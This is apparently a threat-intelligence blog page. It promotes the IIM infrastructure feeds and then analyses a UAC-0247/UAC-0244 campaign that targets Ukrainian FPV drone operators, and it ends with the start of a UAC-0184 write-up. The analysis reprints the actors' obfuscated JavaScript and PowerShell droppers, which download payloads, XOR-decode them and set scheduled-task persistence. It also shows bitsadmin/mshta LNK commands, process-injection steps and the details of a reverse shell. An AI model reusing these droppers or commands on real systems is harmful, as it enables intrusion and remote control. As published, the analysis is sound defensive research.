The goal is not to replace existing projects.

Malpedia is useful for malware family knowledge.
ATT&CK is useful for behavioral technique mapping.
ThreatFox and similar feeds are useful for indicators.
MalwareBazaar & Co are useful for samples.
Reports are useful for narrative analysis.

IIM Public Feeds sit next to those layers and focus on the infrastructure structure.

A simple way to put it:

Malpedia: What malware family are we looking at?
ATT&CK: What behavior and techniques are involved?
IOC Feeds: Which indicators were observed?
IIM Feeds: How was the adversary infrastructure chained together?

That is the niche.
And yes, it is specific.

Good. Specific is useful.

Where IIMQL fits in

The feed website is only the visible part of the whole thing.

The plan is to publish new IIM feeds regularly. Some chains will come from our own internal analysis and Malwarebox research. Others will be based on public reports where the infrastructure can be reconstructed cleanly enough to turn it into an IIM chain.

And yes, we are also open to community submissions.

If someone has mapped an infrastructure chain from a report, a campaign, a sample set or their own research, that chain should not die in a screenshot, a tweet thread or a local notes folder named apt-stuff-final-final.json.

It can be turned into an IIM feed.

That is also where IIMQL becomes interesting.

IIMQL is the query language around IIM.
The idea is simple: once infrastructure chains are structured, they should also be searchable in a structured way.

At some point, you do not only want to look at one chain. You want to ask questions across many chains.

For example:

  • Show me all chains where an entry node redirects to a staging node
  • Find all payload delivery chains connected to a specific actor
  • Show campaigns where the C2 role appears behind a reused staging layer
  • Find infrastructure patterns where compromised websites are used before payload delivery
  • Show all chains that contain the same relation pattern across different actors

That is the part where this stops being just a nice public viewer and starts becoming useful as an actual research layer.

  • One chain is interesting
  • Ten chains are useful
  • A hundred chains start to show patterns

That is why the feed format matters.
If we publish chains in a consistent model, IIMQL can later query across them instead of forcing everyone to manually compare screenshots, IOC tables and half-structured report snippets.

The next logical step would be an IIMQL-based search tool on top of the public feed data.
Search by role, relation, actor, chain layout, repeated infrastructure pattern or campaign context.
Basically a way to ask questions against the infrastructure layer directly.

That needs enough data to be useful, though.
A query language without chains is just a very sophisticated way to return nothing.

So for now the focus is simple: publish more IIM chains, keep the format consistent, accept useful community feeds and build the public corpus.

Once there is enough material, IIMQL becomes the natural interface on top of it.

More on that later.

What comes next

The feed website is the public starting point.

From here, the useful next steps are pretty obvious:

  • Campaign-based chain views
  • Better evidence panels
  • Pattern comparison
  • IIMQL integration.

The goal is to make the infrastructure layer easier to inspect, compare and reason about.

Because CTI has a structure problem.
We keep collecting more indicators, more reports, more aliases, more screenshots and more tables.
Then analysts still have to reconstruct the actual operation manually.

The feed is one attempt to make that part less stupid.

UAC-0244 / UAC-0247: Malware Targeting FPV drone operators

by Robin Dost


Surprise, surprise – a new UAC article 😁

Actor: UAC-0244 / UAC-0247 / MB-0006
Malwarebox Identifier: 0006
IIM Chain: https://feed.iim.malwarebox.eu/chain/uac-0247-ukrvarta-fpv-dopomoga-2026-03


This article is a little bit older, mainly because I have been spending a lot of time on Malwarebox and several other articles recently.
It is also part of my UAC series, where I look at threat activity with a Ukraine connection, my last article “UAC-0184: From HTA to a Signed Network Stack

A few weeks ago, I analyzed a malware campaign that was clearly targeting Ukraine.
Since I first started working on this article, a few things have changed.
UAC-0247 is now considered to be linked to the same actors behind the UAC-0244 cluster, as CERT-UA describes here:

“CERT-UA звертає увагу спільноти на те, що активність, описана в цій статті як окремий кластер кіберзагроз UAC-0247, фактично здійснюється особами, діяльність яких раніше відстежувалася за ідентифікатором UAC-0244” 🇺🇦

“CERT-UA draws the community’s attention to the fact that the activity described in this article as a separate cyber threat cluster UAC-0247 is actually carried out by individuals whose activity was previously tracked under the identifier UAC-0244.” 🇬🇧

HashDescriptionDownload
8040da63a8f5be3fec9724d6d6e6f101f5336d99be309bf0b7cd781f12aace158040da63a8f5be3fec9724d6d6e6f101f5336d99be309bf0b7cd781f12aace15.ziphttps://mantis.malwarebox.eu/shared/x8qqIok5CDYARdCwJP4GKz9d7j8Ewr9q
c06cc6122b798f88a05a088bfed39594af86ba714da89fec5ca62d7119782df9updater.exehttps://mantis.malwarebox.eu/shared/CfM6gyW98O01VIEtA6C6dev-GjptVRqt
b1d765f50f5c53702658b7a59a9bd05cfb042ea6b2d150191a84c53d373b9e4a
Final Payloadhttps://mantis.malwarebox.eu/shared/CfM6gyW98O01VIEtA6C6dev-GjptVRqt


The investigation started with the sample:

8040da63a8f5be3fec9724d6d6e6f101f5336d99be309bf0b7cd781f12aace15

Inside the ZIP archive we downloaded, there was an LNK file named:

“Форма заявки на гуманітарну допомогу фонд УкрВарта”

Translated from Ukrainian, this means roughly:

“UkrVarta Foundation Humanitarian Aid Application Form”

So let’s unpack the archive and take a look at the LNK file with LNKParse.

This is a typical mshta to HTA infection chain launched through a Windows LNK file.
If you have been following my blog for a while, you might slowly start seeing a pattern here when it comes to Russian-aligned threat actors.

Now let’s take a look at the website.

(Website is currently offline)

Unfortunately, I only still have the screenshot of the Ukrainian version and my Ukrainian is not exactly perfect, but the headline says something along the lines of:

"A Technological Edge for Victory"

UkrVarta supplies units with state-of-the-art FPV drones, UAVs, various types of equipment, PES tools and platforms for knowledge sharing between the military and industry


The page describes UkrVarta as supporting units with modern FPV drones, UAVs, aircraft types, EW tools and platforms for exchanging experience between the military and industry.

So the lure is obviously aimed at FPV drone owners, operators or people interested in that area.

When I tried to download the payload from the LNK, however, I saw this:

At first this error looked a bit strange, but then I quickly remembered that other Russian-aligned groups seem to have a bit of a geofencing fetish.
So I ran the target through my tracking setup and, voilà, I was able to download the payload.

But, as already mentioned in my previous article, before going deeper I always check how sloppy the actor was when configuring their web server.

And once again, no real effort was made here:

All samples were simply exposed. Good job.
These kinds of mistakes do not only give us files.
They also provide directly usable intelligence on UAC-0247/UAC-0244, especially around working patterns.
And btw: They fixed this mistake after me downloading everything, so at least either they figured it out on their own, or they’re monitoring their infrastructure.

The relevant time window was:

24 February 2026 to 22 March 2026

So roughly 27 days.

Distribution by weekday:

WeekdayCount
Tuesday4
Wednesday1
Friday1
Saturday1
Sunday5

What stands out is the strong concentration around late hours:

Time windowCount
00:00-00:591
17:00-17:591
20:00-20:595
21:00-21:591
22:00-22:594

So: 10 out of 12 events happened between 20:00 and 22:59.
That is the most interesting point here.

The server itself is reachable via the IP address:

109.237.97.4

This server is hosted at nuxt[.]cloud, a Russian hosting provider. Because of that, I suspect that the system time might have been set to UTC+3. I cannot prove that, though.

Now back to the analysis.

Files such as dopomoga.hta.old are always nice to find, because they let us look at the evolution of the delivery chain.

But first, let’s look at dopomoga.hta.

At first glance, there is not much suspicious visible here, except for the included JavaScript file script.js

The script is a classic, lightly obfuscated JavaScript dropper that executes on Windows systems through ActiveX.
The whole _0x... structure only exists to hide strings at runtime. Functionally, there is nothing complex here.
It is deliberately simple code that mainly tries to make static analysis slightly more annoying.

After resolving the strings, the script instantiates WScript.Shell and Scripting.FileSystemObject

It then checks whether the following directory exists:

%LOCALAPPDATA%\OneDriveUpdater

If the directory does not exist, it creates it. The name is obviously chosen to look legitimate and avoid drawing attention.

In the next step, the script uses cmd /c and curl to download a file from:

https://ukrvart[.]online/dopomoga/updater.txt

The file is stored locally as:

%LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe

This is a simple masquerading trick: a file that looks like a text file on the server is downloaded and immediately written as an executable on disk.

Right after that, the script establishes persistence by creating a scheduled task named:

OneDriveUpdater

The task runs in the user context and starts the dropped executable every ten minutes.
The execution happens without a visible window, keeping the whole process unobtrusive for the user.

Overall, this is a typical stage-0 dropper as often seen in phishing campaigns.
It uses only built-in Windows tooling, no complex techniques, no exploit, just a clean and reliable flow:

Create folder -> download payload -> establish persistence

The actual functionality clearly lives inside the downloaded file.
This script only handles initial access and persistence.

We will look at updater.txt / updater.exe later in the article.
Before doing that, let’s look at the other files and especially compare dopomoga.hta with dopomoga.hta.old.

The file is quite small, so we can simply diff it.

The new HTA is basically just a shell. The old one did the actual work.

The old file contains the complete payload logic.
Obfuscated JavaScript builds a shell through ActiveX, stages itself under %LOCALAPPDATA%\OneDriveUpdater, pulls a payload from ukrvarta[.]online/conference/updater.txt via PowerShell, decodes it with XOR and writes the result as an EXE.
After that, it directly creates a scheduled task that executes the file every few minutes. Classic dropper with persistence, just slightly obfuscated.

In the new file, this entire block is simply gone. Instead, it only loads an external script from ukrvarta[.]online/dopomoga/script.js. Locally, nothing really happens anymore besides rendering the UI and showing a fake confirmation popup.
The actual logic has been moved into the externally loaded script.

The form was also slightly adjusted. Previously, it used checkboxes with fixed categories.
Now it uses a free-text field instead.
That makes it look less like a template and a bit more believable.

Bottom line:
same thing, but implemented more cleanly. Previously, it was a blunt HTA dropper.
It is now more of a minimal stub that dynamically loads the payload logic.

dopomoga.html

The page itself looks completely harmless at first: some text, a download hint, nothing too exciting.
The actual trick sits at the bottom: the ZIP archive is embedded directly into the HTML as Base64.
When the page is loaded, the data is decoded and automatically dropped as a file.

Compared to the HTA variants, this is not execution-focused anymore.
It is pure delivery. But it is cleaner, more stable and less noisy.

And btw: the ZIP contains the same LNK file as our initial entry sample.
So this was most likely also used as an entry vector.

conference.hta

This one disguises itself as a legitimate document related to an FPV conference.
It looks clean, contains a decent amount of text, is bilingual and appears somewhat believable at first glance.

The interesting part runs in the background again.
It uses the same obfuscated script as before: it builds a shell through ActiveX, stages itself under %LOCALAPPDATA%\OneDriveUpdater, pulls a payload from ukrvarta{.]online/conference/updater.txt via PowerShell, decodes it and writes the result as an EXE.
After that, it creates a scheduled task that starts the payload regularly.

So, technically, there is nothing really new here.
It is just different packaging. Instead of a form, the lure now uses a “serious” looking document.

Bottom line: same dropper as in the older HTA, just better wrapped to look legitimate and increase the chance that someone opens it.

conference2026_webdavroot.html

The page itself is again just bait. Some text, nothing immediately suspicious.

The real move is this line at the bottom:

window.location.href="search-ms:query=lnk&crumb=location:\\\\ukrvarta.online@8080\\davwwwroot";

This redirects the browser to a Windows search-ms URI. That does not simply open a website.
It opens Windows Search / Explorer with a predefined search. In this case, it points directly to a WebDAV share:

ukrvarta[.]online:8080/davwwwroot

and filters for .lnk files.

In practice, this is delivery through Windows features instead of a classic download.

dopomoga.html vs dopomoga.html.old

When diffing dopomoga.hta and dopomoga.hta.old, we get the following result:

Changes from Script 1 to Script 2

In the newer dopomoga.hta, the JavaScript is loaded externally, while in dopomoga.hta.old the script was embedded directly inside the HTA.

There are also several relevant changes between the two scripts.

dopomoga.hta – JS part, cleaned (Click to View)
var _0x3a94ab = _0x423d;
(function(_0x2c8484, _0x4bc3b2) {
    var _0x1c7b96 = _0x423d,
        _0xd85eea = _0x2c8484();
    while (!![]) {
        try {
            var _0x549a15 = parseInt(_0x1c7b96(0x75)) / 0x1 * (parseInt(_0x1c7b96(0x69)) / 0x2) + parseInt(_0x1c7b96(0x74)) / 0x3 * (parseInt(_0x1c7b96(0x68)) / 0x4) + parseInt(_0x1c7b96(0x6d)) / 0x5 * (parseInt(_0x1c7b96(0x71)) / 0x6) + -parseInt(_0x1c7b96(0x70)) / 0x7 + parseInt(_0x1c7b96(0x6e)) / 0x8 + -parseInt(_0x1c7b96(0x67)) / 0x9 + -parseInt(_0x1c7b96(0x6a)) / 0xa;
            if (_0x549a15 === _0x4bc3b2) break;
            else _0xd85eea['push'](_0xd85eea['shift']());
        } catch (_0x4fe4a6) {
            _0xd85eea['push'](_0xd85eea['shift']());
        }
    }
}(_0x2ef8, 0x1a797));

function _0x423d(_0x3e372e, _0x38ee68) {
    _0x3e372e = _0x3e372e - 0x66;
    var _0x2ef82a = _0x2ef8();
    var _0x423df7 = _0x2ef82a[_0x3e372e];
    return _0x423df7;
}

function _0x2ef8() {
    var _0x4ef266 = ['130JQmnzp', '3147470risYJl', 'ExpandEnvironmentStrings', 'Run', '10515Kkhyjk', '884136eDOoYM', 'FolderExists', '181503MnBNuA', '450VEtRbM', 'Scripting.FileSystemObject', 'cmd\x20/c\x20curl\x20https://ukrvarta[.]online/dopomoga/updater.txt\x20-o\x20%LOCALAPPDATA%\x5cOneDriveUpdater\x5cOneDriveUpdater.exe', '9jfLoPO', '372NwroHM', 'cmd\x20/c\x20schtasks\x20/create\x20/tn\x20\x22OneDriveUpdater\x22\x20/tr\x20\x22%LOCALAPPDATA%\x5cOneDriveUpdater\x5cOneDriveUpdater.exe\x22\x20/sc\x20MINUTE\x20/mo\x2010\x20/ru\x20\x22%USERNAME%\x22\x20/f', 'CreateFolder', '55215VCwWVW', '217104rlhWUm'];
    _0x2ef8 = function() {
        return _0x4ef266;
    };
    return _0x2ef8();
}
var shell = new ActiveXObject('WScript.Shell'),
    fso = new ActiveXObject(_0x3a94ab(0x72)),
    dir = shell[_0x3a94ab(0x6b)]('%LOCALAPPDATA%\x5cOneDriveUpdater');
if (!fso[_0x3a94ab(0x6f)](dir)) fso[_0x3a94ab(0x66)](dir);
shell[_0x3a94ab(0x6c)](_0x3a94ab(0x73), 0x0, !![]), shell['Run'](_0x3a94ab(0x76), 0x0, !![]);
dopomoga.hta.old – JS part, cleaned (Click to View)
var _0x983f2c = _0x5181;

function _0x151a() {
    var _0x46139d = ['1310370daJGwY', '100kyJUCo', 'CreateFolder', 'ExpandEnvironmentStrings', '28156932gkTQNF', 'JAB1AHIAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AGsAcgB2AGEAcgB0AGEALgBvAG4AbABpAG4AZQAvAGMAbwBuAGYAZQByAGUAbgBjAGUALwB1AHAAZABhAHQAZQByAC4AdAB4AHQAIgAKACQAbwB1AHQAUABhAHQAaAAgAD0AIAAiACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQBcAFwATwBuAGUARAByAGkAdgBlAFUAcABkAGEAdABlAHIAXABcAE8AbgBlAEQAcgBpAHYAZQBVAHAAZABhAHQAZQByAC4AZQB4AGUAIgAKACQAawBlAHkAIAA9ACAAWwBiAHkAdABlAFsAXQBdACgAMAB4ADYANgAsADAAeAA3ADUALAAwAHgANgAzACwAMAB4ADYAYgApAAoAJABiAHkAdABlAHMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAdQByAGwAKQAKACQAbwB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7AAoAIAAgACAAIAAkAG8AdQB0AFsAJABpAF0AIAA9ACAAJABiAHkAdABlAHMAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0ACgB9AAoATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlACAALQBQAGEAdABoACAAKABTAHAAbABpAHQALQBQAGEAdABoACAAJABvAHUAdABQAGEAdABoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAkAG8AdQB0AFAAYQB0AGgALAAgACQAbwB1AHQAKQA=', 'WScript.Shell', '3gPnEdG', '642260aMAGfo', 'cmd\x20/c\x20schtasks\x20/create\x20/tn\x20\x22OneDrive\x20Updater\x22\x20/tr\x20\x22%LOCALAPPDATA%\x5cOneDriveUpdater\x5cOneDriveUpdater.exe\x22\x20/sc\x20MINUTE\x20/mo\x2010\x20/ru\x20\x22%USERNAME%\x22', 'FolderExists', '3920912ddfJWR', 'Run', '8752373xtHrec', '%LOCALAPPDATA%\x5cOneDriveUpdater', 'powershell\x20-ep\x20bypass\x20-NoProfile\x20-WindowStyle\x20Hidden\x20-e\x20\x22', '7080552AbMXlm', '125420YqUUQN'];
    _0x151a = function() {
        return _0x46139d;
    };
    return _0x151a();
}(function(_0x5b2a70, _0x596711) {
    var _0x382d07 = _0x5181,
        _0x25a5cc = _0x5b2a70();
    while (!![]) {
        try {
            var _0x1b72c2 = -parseInt(_0x382d07(0x1ae)) / 0x1 + -parseInt(_0x382d07(0x1a6)) / 0x2 * (-parseInt(_0x382d07(0x1ad)) / 0x3) + parseInt(_0x382d07(0x1a7)) / 0x4 * (parseInt(_0x382d07(0x1a5)) / 0x5) + -parseInt(_0x382d07(0x1a4)) / 0x6 + -parseInt(_0x382d07(0x1b3)) / 0x7 + -parseInt(_0x382d07(0x1b1)) / 0x8 + parseInt(_0x382d07(0x1aa)) / 0x9;
            if (_0x1b72c2 === _0x596711) break;
            else _0x25a5cc['push'](_0x25a5cc['shift']());
        } catch (_0x332af4) {
            _0x25a5cc['push'](_0x25a5cc['shift']());
        }
    }
}(_0x151a, 0xcf09c));
var shell = new ActiveXObject(_0x983f2c(0x1ac)),
    fso = new ActiveXObject('Scripting.FileSystemObject'),
    dir = shell[_0x983f2c(0x1a9)](_0x983f2c(0x1a2));
!fso[_0x983f2c(0x1b0)](dir) && fso[_0x983f2c(0x1a8)](dir);

function _0x5181(_0x151920, _0x3b71ee) {
    _0x151920 = _0x151920 - 0x1a2;
    var _0x151a28 = _0x151a();
    var _0x518101 = _0x151a28[_0x151920];
    return _0x518101;
}
var shell = new ActiveXObject(_0x983f2c(0x1ac)),
    ps = _0x983f2c(0x1ab);
shell[_0x983f2c(0x1b2)](_0x983f2c(0x1a3) + ps + '\x22', 0x0, !![]), shell[_0x983f2c(0x1b2)](_0x983f2c(0x1af), 0x0, !![]);

The Base64 string inside the JavaScript from dopomoga.hta.old decodes to:

$url = "https://ukrvarta[.]online/conference/updater.txt"
$outPath = "$env:LOCALAPPDATA\\OneDriveUpdater\\OneDriveUpdater.exe"
$key = [byte[]](0x66,0x75,0x63,0x6b)

$bytes = (New-Object System.Net.WebClient).DownloadData($url)
$out = New-Object byte[] $bytes.Length

for ($i = 0; $i -lt $bytes.Length; $i++) {
    $out[$i] = $bytes[$i] -bxor $key[$i % $key.Length]
}

New-Item -ItemType Directory -Force -Path (Split-Path $outPath) | Out-Null
[IO.File]::WriteAllBytes($outPath, $out)

The XOR-Key is:

66 75 63 6b

ASCII:

fuck

XOR-encrypted payload removed

Old variant / dopomoga.hta.old:

The payload was loaded from:

https://ukrvarta[.]online/conference/updater.txt

Then it was locally XOR-decoded with the following key:

$key = [byte[]](0x66,0x75,0x63,0x6b)

ASCII-Key:

fuck

The decoded result was then written to:

%LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe

New variant / dopomoga.hta:

No local decryption is used anymore. Instead, the payload is downloaded directly:

cmd /c curl https://ukrvarta[.]online/dopomoga/updater.txt -o %LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe

That means the new payload is stored directly as a file without the previous XOR decoding step.

PowerShell EncodedCommand removed

Old variant / Script 1:

powershell -ep bypass -NoProfile -WindowStyle Hidden -e "<base64>"

This was noisy because it included several classic malware / loader indicators:

-ep bypass
-NoProfile
-WindowStyle Hidden
-EncodedCommand

New variant / Script 2:

The newer variant only uses:

cmd /c curl ...

This is simpler. One possible reason is to reduce PowerShell telemetry, avoid AMSI / PowerShell logging and bypass typical PowerShell detection rules.

URL changed

Old:

https://ukrvarta[.]online/conference/updater.txt

New:

https://ukrvarta[.]online/dopomoga/updater.txt

So:

/conference/ -> /dopomoga/

Scheduled task name changed

Old:

/tn "OneDrive Updater"

New:

/tn "OneDriveUpdater"

The space was removed.

This matters for hunting, because both task names should be considered IOCs.

/f was added

Old / Script 1:

schtasks /create ... /ru "%USERNAME%"

Old / Script 2:

schtasks /create ... /ru "%USERNAME%" /f

The /f flag forces overwriting an existing task.

This makes the new variant more robust: if the task already exists, it gets updated or overwritten instead of failing.

updater.exe

Both the /dopomoga and /conference directories contain an updater.txt file.

Because of the JavaScript changes, we know that one of those files was encoded with the XOR key fuck. After decoding it, the resulting file had the same hash. So both chains deploy the same malware.

I analyzed the file with Ghidra and radare2. Here is the summary.

Filenameupdater.exe
Size222056 bytes
TypePE32+ x86-64 GUI executable
SHA256c06cc6122b798f88a05a088bfed39594af86ba714da89fec5ca62d7119782df9
MD544fe18a23d6d2ca53a7234a934f438db
PETimeDateStampSat Mar 14 20:42:39 2026
ImageBase0x140000000
EntryPoint RVA0x20a4
EntryPoint VA0x1400020a4

Does anything stand out to you about PETimeDateStamp? 🙂

The PE contains an Authenticode certificate table referencing a Microsoft code-signing chain, but signature validity was not verified during this static analysis.

Resolved syscalls

The loader resolves NTDLL exports by CRC32 hash and then extracts the syscall numbers from the NTDLL stubs.

Resolved functions include:

NtOpenProcess
NtAllocateVirtualMemory
NtWriteVirtualMemory
NtProtectVirtualMemory
NtCreateThreadEx
NtWaitForSingleObject

The corresponding hashes are:

dbf381b5 -> NtOpenProcess
e0762feb -> NtAllocateVirtualMemory
e4879939 -> NtWriteVirtualMemory
5c2d1a97 -> NtProtectVirtualMemory
2073465a -> NtCreateThreadEx
dd554681 -> NtWaitForSingleObject

This is fairly classic: minimal imports, parse NTDLL at runtime, resolve syscalls directly and avoid user-mode hooks.

Injection Chain

The outer stage specifically looks for:

RuntimeBroker.exe

The flow is roughly:

NtOpenProcess(RuntimeBroker.exe)
NtAllocateVirtualMemory(remote, size=0x19321, PAGE_READWRITE)
XOR decode local payload from .data
NtWriteVirtualMemory(remote, decoded_shellcode)
NtProtectVirtualMemory(remote, PAGE_NOACCESS)
Sleep(47999 ms)
NtProtectVirtualMemory(remote, PAGE_EXECUTE_READ)
NtCreateThreadEx(remote_base)

The PAGE_NOACCESS -> Sleep -> PAGE_EXECUTE_READ sequence is interesting.

It looks like a simple delay / evasion layer before actual execution. This is also why we do not see much when running a quick sandbox analysis.

The shellcode is stored inside the .data section of the outer PE:

Encoded blob VA:     0x14001a000
Encoded blob raw:    0x18000
Encoded size:        0x19321 bytes
XOR key:             0x66
Decoded first bytes: 57 31 c0 b9 0a 00 00 00 ...

After XOR-decoding with 0x66, we do not get a PE directly. Instead, we get x64 shellcode.

Shellcode / Nested Loader

The shellcode is itself another loader. It resolves APIs by hash again, including:

LdrLoadDll
NtAllocateVirtualMemory
NtProtectVirtualMemory
NtFreeVirtualMemory

It then processes an internal package format.

Important offsets inside the decoded shellcode:

Shellcode entry:       offset 0x0000
First package:         offset 0x0c71
Second package size:   0x15bc1
Second package body:   offset 0x3760
End of shellcode blob: 0x19321

The second package is:

XOR encrypted
LZNT1 compressed

The stage uses RtlDecompressBuffer with compression format 0x2, which means LZNT1.

After XOR + LZNT1 decompression, we get the final PE payload.

Final Payload

The unpacked payload is:

Internal name: EncryptedReverseShell.exe
Type: PE32+ x86-64 GUI executable
Size: 0x20800 bytes
SHA256: 268400390be82fcb46f1b23e0319f2f2ba477e392014b41b57df587b99ecc3c5
MD5: 1c95b3d3ac3d6f9c839df333532060b4
PE TimeDateStamp: Tue Mar 3 19:53:17 2026
EntryPoint VA: 0x140001978
Reverse shell routine: around 0x140001070

Interesting strings:

EncryptedReverseShell.exe
109.237.97.4
Connected!
cmd /C %s
C:\Users\user\source\repos\EncryptedReverseShell\x64\Release\EncryptedReverseShell.pdb

C2 / Reverse Shell

The final payload connects to:

C2 IP:   109.237.97.4
Port: 8443

In code:

lea rcx, [109.237.97.4]
call inet_addr

mov ecx, 0x20fb
call htons

0x20fb is decimal:

8443

After that, a TCP socket is created and connected.

The flow is:

1. WSAStartup
2. socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
3. connect(109.237.97.4:8443)
4. send encrypted "Connected! "
5. receive encrypted command length
6. receive encrypted command
7. decrypt command
8. execute via cmd /C %s
9. capture output through pipes
10. encrypt output
11. send output back to C2

The protocol encryption is simple XOR:

XOR key length: 9 bytes
XOR key: 01 01 02 03 74 15 04 ff ee

This applies to the C2 messages, not to the outer .data blob. The outer blob uses 0x66

IIM Chain & Pattern

Besides the classic malware analysis, I also modeled the flow as an IIM chain.

IIM stands for Infrastructure Intelligence Model and is a part of the ecosystem i am building with Malwarebox.
It is my attempt to describe campaigns not only as isolated IOCs, but as connected infrastructure chains.

This case shows quite well why that matters.
The attack is not just updater.exe or one C2 IP. Before we ever get to the reverse shell, we have the lure, ZIP archive, LNK file, mshta, HTA / JavaScript staging, updater.txt, persistence through OneDriveUpdater, injection into RuntimeBroker.exe and finally the reverse shell connection to 109.237.97.4:8443.

The IIM chain models this flow through roles such as Entry, Staging, Payload and C2.
This makes it easier to see how the infrastructure works together and which parts are replaceable.

That is often more useful for tracking than a single hash.
Hashes rotate quickly.
Infrastructure patterns tend to survive longer.

The full chain is available here:

IIM Chain: UAC-0247 UkrVarta FPV Lure to RuntimeBroker Injection and Reverse Shell

Attribution

The malware is part of the UAC-0247/UAC-0244 campaign described by CERT-UA

UAC-0184: From HTA to a Signed Network Stack

by Robin Dost


EDIT: The next article in my UAC series is out: https://blog.synapticsystems.de/uac-0247-malware-targeting-fpv-operators/

Actor: UAC-0184 / MB-0007 (Malwarebox ID
IIM Chain: https://feed.iim.malwarebox.eu/chain/uac-0184-pseudo-png-passmark-2026-05

In the last articles, I spent quite some time looking at actors that primarily target Ukraine.

Gamaredon and APT28 are the obvious names people know. But there are other clusters that are less well documented and still use overlapping tradecraft: Ukraine-themed lures, messenger-based social engineering, staged loaders, LOLBins, signed binaries, archive delivery and all the other small joys that make malware analysis such a relaxing hobby.
This article is a bit older because I’m currently busy working on Malwarebox and other articles.
It’s also part of my “UAC” series, in which I discuss threat actors linked to Ukraine.
Around the middle or end of the series, I have a little something in store for everyone involved, so stick around :3

This one gets a bit more technical and longer than usual. So yes, you have been warned. 🙂

I looked at the following sample:

On MalwareBazaar, the sample is tagged with UKR, which is already a useful signal to keep in mind. It does not prove targeting by itself, but in this case the surrounding tradecraft and the public CERT-UA reporting make the Ukraine connection much more than just a tag someone slapped onto a hash.

CERT-UA has publicly described increased UAC-0184 activity during 2024, focused on gaining access to computers used by representatives of the Ukrainian Defense Forces in order to steal documents and messenger data. Their reporting also highlights the use of messengers and dating platforms as delivery channels, with social engineering lures built around criminal proceedings, combat videos or personal contact requests. Very normal internet behavior, obviously.

The tooling overlap also fits the wider UAC-0184 ecosystem described by CERT-UA: staged malware delivery, commercial and open-source tooling and repeated use of social engineering against Ukrainian military-related targets.

Now to the actual sample.

7z l 81d93004a02a455af01b0f709e34d5134108ec350f9391dc0f91a00a54998590.zip

For context: in Ukrainian, Рапорт means report. In Ukrainian and Russian, Таблиця means table.

Now that we’ve unpacked everything, let’s take a look at the LNK files using lnkparse

Click for full details
Windows Shortcut Information:
   Guid: 00021401-0000-0000-C000-000000000046
   Link flags: HasTargetIDList | HasName | HasWorkingDir | HasArguments | HasIconLocation | IsUnicode | ForceNoLinkInfo - (501)
   File flags: (0)
   Creation time: 2026-03-26 15:53:23+00:00
   Accessed time: 2026-03-26 15:53:23+00:00
   Modified time: 2026-03-26 15:53:23+00:00
   File size: 0
   Icon index: 85
   Windowstyle: SW_SHOWMINNOACTIVE
   Hotkey: UNSET - UNSET {0x0000}

   SIZE: 17650

   TARGET:
      Items:
      -  Root Folder:
            Sort index: My Computer
            Sort index value: 80
            Guid: 20D04FE0-3AEA-1069-A2D8-08002B30309D
      -  Volume Item:
            Flags: '0xf'
            Volume name: C:\
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: Windows
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: System32
      -  File entry:
            Flags: Is file
            File size: 0
            File attribute flags: 16
            Primary name: cmd.exe

   LINK INFO: {}

   DATA:
      Description: РDF Dоcument
      Working directory: '%LOCALAPPDATA%'
      Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/slippersuppity.hta
         %TEMP%\~tmp('TuRIxPyZpqoctuuvttu',).hta && mshta.exe %TEMP%\~tmp('TuRIxPyZpqoctuuvttu',).hta
      Icon location: imageres.dll

   EXTRA:
      TERMINAL BLOCK:
         Size: 16859
         Appended data sha256: d735004496f54a943647a50f42ecdd094cd3d0f58a4ee5d2e36d10c5493337b7

Windows Shortcut Information:
   Guid: 00021401-0000-0000-C000-000000000046
   Link flags: HasTargetIDList | HasName | HasWorkingDir | HasArguments | HasIconLocation | IsUnicode | ForceNoLinkInfo - (501)
   File flags: (0)
   Creation time: 2026-03-26 15:53:22+00:00
   Accessed time: 2026-03-26 15:53:22+00:00
   Modified time: 2026-03-26 15:53:22+00:00
   File size: 0
   Icon index: 97
   Windowstyle: SW_SHOWMINNOACTIVE
   Hotkey: UNSET - UNSET {0x0000}

   SIZE: 9950

   TARGET:
      Items:
      -  Root Folder:
            Sort index: My Computer
            Sort index value: 80
            Guid: 20D04FE0-3AEA-1069-A2D8-08002B30309D
      -  Volume Item:
            Flags: '0xf'
            Volume name: C:\
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: Windows
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: System32
      -  File entry:
            Flags: Is file
            File size: 0
            File attribute flags: 16
            Primary name: cmd.exe

   LINK INFO: {}

   DATA:
      Description: MS Wоrd Documеnt
      Working directory: '%LOCALAPPDATA%'
      Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/basketpast.hta %TEMP%\~tmp('MUDCoGJpbAbfKdlaKZeVfka',).hta
         && mshta.exe %TEMP%\~tmp('MUDCoGJpbAbfKdlaKZeVfka',).hta
      Icon location: imageres.dll

   EXTRA:
      TERMINAL BLOCK:
         Size: 9143
         Appended data sha256: 651b07f731b23e8608eecf87e45194f903c2ccb3fd8b55ea8a6e0ca984ff8518

